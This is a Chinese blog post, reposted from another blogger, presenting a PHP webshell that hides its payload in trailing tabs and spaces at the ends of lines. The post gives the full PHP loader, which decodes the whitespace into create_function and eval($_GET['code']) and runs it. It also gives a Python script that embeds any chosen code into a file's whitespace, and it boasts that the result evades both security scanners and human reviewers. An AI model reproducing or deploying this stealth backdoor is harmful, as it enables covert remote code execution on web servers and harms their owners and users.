美文网首页
一个过人的php小马

一个过人的php小马

作者: 折戟尘风 | 来源:发表于2019-07-29 21:11 被阅读0次

    转自:
    https://imbawenzi.github.io/2019/04/18/一个有趣的webshell---将代码隐藏在空白处/
    分享一个小马,不但过狗还过人。
    小马代码部分:

    <?php
        class newDataProvider {
            function __construct() {
                $f = file(__FILE__);
                $r = "";
                $c = "";
                for($i = 0; $i < count($f); $i++) {
                    if($i < 15){
                        $r .= $this->dataProcessor($f[$i]);
                    } else {
                        $c .= $this->dataProcessor($f[$i]);
                    }
                }
                $t = $r('',"$c");
                $t();
            }
            function dataProcessor($li) {
                preg_match('/([\t ]+)\r?\n?$/', $li, $m);
                if (isset($m[1])) {
                    $l = dechex(substr_count($m[1], "\t"));
                    $r = dechex(substr_count($m[1], " "));
                    $n = hexdec($l.$r);
                    return chr($n);
                }
                return "";
            }
        }
        new newDataProvider();
    ?>
    

    可以重点关注dataProcessor这个函数,通过正则匹配文件每一行最后的/t或者空格数,并以这两个的计数的十六进制分别代表一位,来拼成一个ascii码。显然这些空格和/t的数量是我们可以自己写好的,这样我们就可以构造空格和/t的数量来构造一个小马或者其他恶意代码。转载的博主已经实现了,可以看看:

    funcName = 'create_function'
    code = 'eval($_GET["code"]);'
    blank = funcName+code
    
    fin = open('test.php','r')
    fout = open('testOutput.php','w')
    content = fin.readlines()
    
    if len(content) < len(blank):
        for i in range(len(blank)-len(content)):
            content += ['\n']
    
    for i in range(len(blank)):
        tensPlace = int(hex(ord(blank[i]))[2], 16)
        onesPlace = int(hex(ord(blank[i]))[3], 16)
        if content[i][-1] == '\n':
            content[i] = content[i][0:-1] + tensPlace*'\t' + onesPlace*' ' + '\n'
        else:
            content[i] = content[i] + tensPlace*'\t' + onesPlace*' ' + '\n'
    
    for line in content:
        fout.write(line)
    
    fin.close()
    fout.close()
    

    利用python脚本来实现从指定代码到空格和/t的添加。这样就在之前的那个文件里面构造了合适的空格和/t来表示恶意代码。生成新的文件便是我们最终的恶意文件了。


    111

    相关文章

      网友评论

          本文标题:一个过人的php小马

          本文链接:https://www.haomeiwen.com/subject/niwirctx.html